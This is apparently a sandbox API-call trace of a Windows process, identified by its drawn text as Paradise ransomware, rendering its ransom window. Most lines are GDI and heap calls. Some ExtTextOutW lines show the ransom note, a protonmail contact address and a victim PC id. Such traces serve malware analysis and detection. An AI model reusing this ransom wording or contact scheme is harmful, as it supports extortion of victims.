[0111.150] BitBlt (hdc=0x1401007f, x=0, y=2, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.151] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.151] DeleteObject (ho=0xd04020f) returned 1
[0111.151] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.151] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.151] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.151] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.151] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.151] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.151] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xd040257
[0111.151] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.151] SelectClipRgn (hdc=0x90101e7, hrgn=0xd040257) returned 2
[0111.151] DeleteObject (ho=0xd040257) returned 1
[0111.151] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.151] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0111.151] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.151] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.151] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.151] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.151] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.151] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.151] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.151] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.151] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.151] GetStockObject (i=8) returned 0x1b00016
[0111.152] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.152] GetROP2 (hdc=0x90101e7) returned 13
[0111.152] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.152] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0111.152] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.152] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.152] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.152] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.152] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.152] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.152] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.152] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.152] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.152] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.152] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.152] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.152] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.153] LsSetDoc () returned 0x0
[0111.153] LsCreateLine () returned 0x0
[0111.153] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.153] LsDisplayLine () returned 0x0
[0111.153] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x18a002e
[0111.153] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.153] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.154] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.154] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.154] _CIatan2 () returned 0x20
[0111.154] _CIatan2 () returned 0x20
[0111.154] ExtTextOutW (hdc=0x90101e7, x=393, y=17, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted! g third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x23, lpDx=0x1c84d0) returned 1
[0111.154] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.154] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.154] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.154] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.154] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.154] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.154] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.154] _CIatan2 () returned 0x20
[0111.154] _CIatan2 () returned 0x20
[0111.154] ExtTextOutW (hdc=0x90101e7, x=914, y=17, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.154] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.154] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.154] LsDestroyLine () returned 0x0
[0111.154] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.154] LsSetDoc () returned 0x0
[0111.154] LsCreateLine () returned 0x0
[0111.154] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.155] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.155] GetTextCharsetInfo (in: hdc=0x90101e7, lpSig=0x1c8990, dwFlags=0x0 | out: lpSig=0x1c8990) returned 204
[0111.155] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.155] StrCmpIW (psz1="Times New Roman", psz2="Times New Roman") returned 0
[0111.155] bsearch (_Key=0x1c89ac, _Base=0x4f9ad8, _NumOfElements=0xba, _SizeOfElements=0x9, _PtFuncCompare=0x73255a32) returned 0x4f9d4e
[0111.157] LsDisplayLine () returned 0x0
[0111.157] SelectObject (hdc=0x90101e7, h=0x70a0202) returned 0x80a0204
[0111.157] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.157] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.158] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.158] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.158] _CIatan2 () returned 0x20
[0111.158] _CIatan2 () returned 0x20
[0111.158] ExtTextOutW (hdc=0x90101e7, x=465, y=67, options=0x4, lprect=0x1c8498, lpString="♛ Paradise Ransomware en encrypted! g third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.158] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.158] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.158] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x70a0202
[0111.158] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.158] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.158] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.158] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.158] _CIatan2 () returned 0x20
[0111.158] _CIatan2 () returned 0x20
[0111.158] ExtTextOutW (hdc=0x90101e7, x=496, y=67, options=0x4, lprect=0x1c8498, lpString=" Paradise Ransomware en encrypted! g third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.158] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.158] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.158] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.158] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.158] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.158] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.158] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.158] _CIatan2 () returned 0x20
[0111.158] _CIatan2 () returned 0x20
[0111.158] ExtTextOutW (hdc=0x90101e7, x=505, y=67, options=0x4, lprect=0x1c8498, lpString="Paradise Ransomware en encrypted! g third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x13, lpDx=0x1c84d0) returned 1
[0111.159] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.159] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.160] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.160] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.160] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.160] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.160] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.160] _CIatan2 () returned 0x20
[0111.160] _CIatan2 () returned 0x20
[0111.160] ExtTextOutW (hdc=0x90101e7, x=842, y=67, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.160] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.160] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.160] LsDestroyLine () returned 0x0
[0111.160] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.161] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.161] LsSetDoc () returned 0x0
[0111.161] LsCreateLine () returned 0x0
[0111.161] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.163] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.163] LsQueryLineCpPpoint () returned 0x0
[0111.163] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497fd8
[0111.163] UnionRect (in: lprcDst=0x1c8c48, lprcSrc1=0x1c8c48, lprcSrc2=0x1c8c24 | out: lprcDst=0x1c8c48) returned 1
[0111.164] IntersectRect (in: lprcDst=0x1c8b14, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b14 | out: lprcDst=0x1c8b14) returned 1
[0111.164] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.164] GetStockObject (i=8) returned 0x1b00016
[0111.164] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.164] GetROP2 (hdc=0x90101e7) returned 13
[0111.164] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.164] Rectangle (hdc=0x90101e7, left=943, top=102, right=1159, bottom=125) returned 1
[0111.164] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.164] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.164] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.164] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.164] LsDisplayLine () returned 0x0
[0111.164] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x80a0204
[0111.164] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.164] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.164] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.164] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.164] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x258) returned 0x5006f0
[0111.164] _CIatan2 () returned 0x20
[0111.164] _CIatan2 () returned 0x20
[0111.164] ExtTextOutW (hdc=0x90101e7, x=12, y=119, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x79, lpDx=0x5006f0) returned 1
[0111.164] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.164] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.165] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.165] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.165] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.165] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.165] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.165] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.165] _CIatan2 () returned 0x20
[0111.165] _CIatan2 () returned 0x20
[0111.165] ExtTextOutW (hdc=0x90101e7, x=901, y=119, options=0x4, lprect=0x1c8498, lpString="-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.165] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.165] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.165] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.165] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.165] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.165] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.165] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.165] _CIatan2 () returned 0x20
[0111.165] _CIatan2 () returned 0x20
[0111.165] ExtTextOutW (hdc=0x90101e7, x=907, y=119, options=0x4, lprect=0x1c8498, lpString="mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x5, lpDx=0x1c84d0) returned 1
[0111.165] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.165] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.165] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.165] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.165] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.166] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.166] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.166] _CIatan2 () returned 0x20
[0111.166] _CIatan2 () returned 0x20
[0111.166] ExtTextOutW (hdc=0x90101e7, x=948, y=119, options=0x4, lprect=0x1c8498, lpString="fiasco911@protonmail.com\xfdef crypt all your files. ", c=0x18, lpDx=0x1c84d0) returned 1
[0111.166] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.166] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.166] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.166] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.166] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.166] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.166] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.166] _CIatan2 () returned 0x20
[0111.166] _CIatan2 () returned 0x20
[0111.166] ExtTextOutW (hdc=0x90101e7, x=1158, y=119, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.166] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.166] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.166] LsDestroyLine () returned 0x0
[0111.166] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.167] LsSetDoc () returned 0x0
[0111.167] LsCreateLine () returned 0x0
[0111.167] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.168] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.168] LsQueryLineCpPpoint () returned 0x0
[0111.169] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497fd8
[0111.169] UnionRect (in: lprcDst=0x1c8c48, lprcSrc1=0x1c8c48, lprcSrc2=0x1c8c24 | out: lprcDst=0x1c8c48) returned 1
[0111.169] IntersectRect (in: lprcDst=0x1c8b14, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b14 | out: lprcDst=0x1c8b14) returned 1
[0111.169] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.169] GetStockObject (i=8) returned 0x1b00016
[0111.169] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.169] GetROP2 (hdc=0x90101e7) returned 13
[0111.169] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.169] Rectangle (hdc=0x90101e7, left=92, top=127, right=159, bottom=150) returned 1
[0111.169] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.169] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.169] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.169] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.169] LsDisplayLine () returned 0x0
[0111.169] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.169] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.169] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.169] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.169] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.169] _CIatan2 () returned 0x20
[0111.169] _CIatan2 () returned 0x20
[0111.169] ExtTextOutW (hdc=0x90101e7, x=12, y=144, options=0x4, lprect=0x1c8498, lpString="You PC id: \xfdef4paNrg\xfdef been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0xb, lpDx=0x1c84d0) returned 1
[0111.169] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.169] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.170] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.170] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.170] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.170] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.170] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.170] _CIatan2 () returned 0x20
[0111.170] _CIatan2 () returned 0x20
[0111.170] ExtTextOutW (hdc=0x90101e7, x=97, y=144, options=0x4, lprect=0x1c8498, lpString="4paNrg\xfdef been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x6, lpDx=0x1c84d0) returned 1
[0111.170] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.170] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.170] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0111.170] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.170] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.170] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.170] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.170] _CIatan2 () returned 0x20
[0111.170] _CIatan2 () returned 0x20
[0111.170] ExtTextOutW (hdc=0x90101e7, x=158, y=144, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.170] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.170] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.170] LsDestroyLine () returned 0x0
[0111.170] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.170] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0111.170] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.170] BitBlt (hdc=0x1401007f, x=0, y=152, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.171] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.171] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.171] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.171] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.171] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.171] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.171] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.171] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xe04020f
[0111.171] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.171] SelectClipRgn (hdc=0x90101e7, hrgn=0xe04020f) returned 2
[0111.171] DeleteObject (ho=0xe04020f) returned 1
[0111.171] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.171] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0111.171] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.171] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.171] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.171] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.171] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.171] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.171] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.171] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.172] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.172] GetStockObject (i=8) returned 0x1b00016
[0111.172] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.172] GetROP2 (hdc=0x90101e7) returned 13
[0111.172] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.172] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0111.172] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.172] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.172] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.172] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.172] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
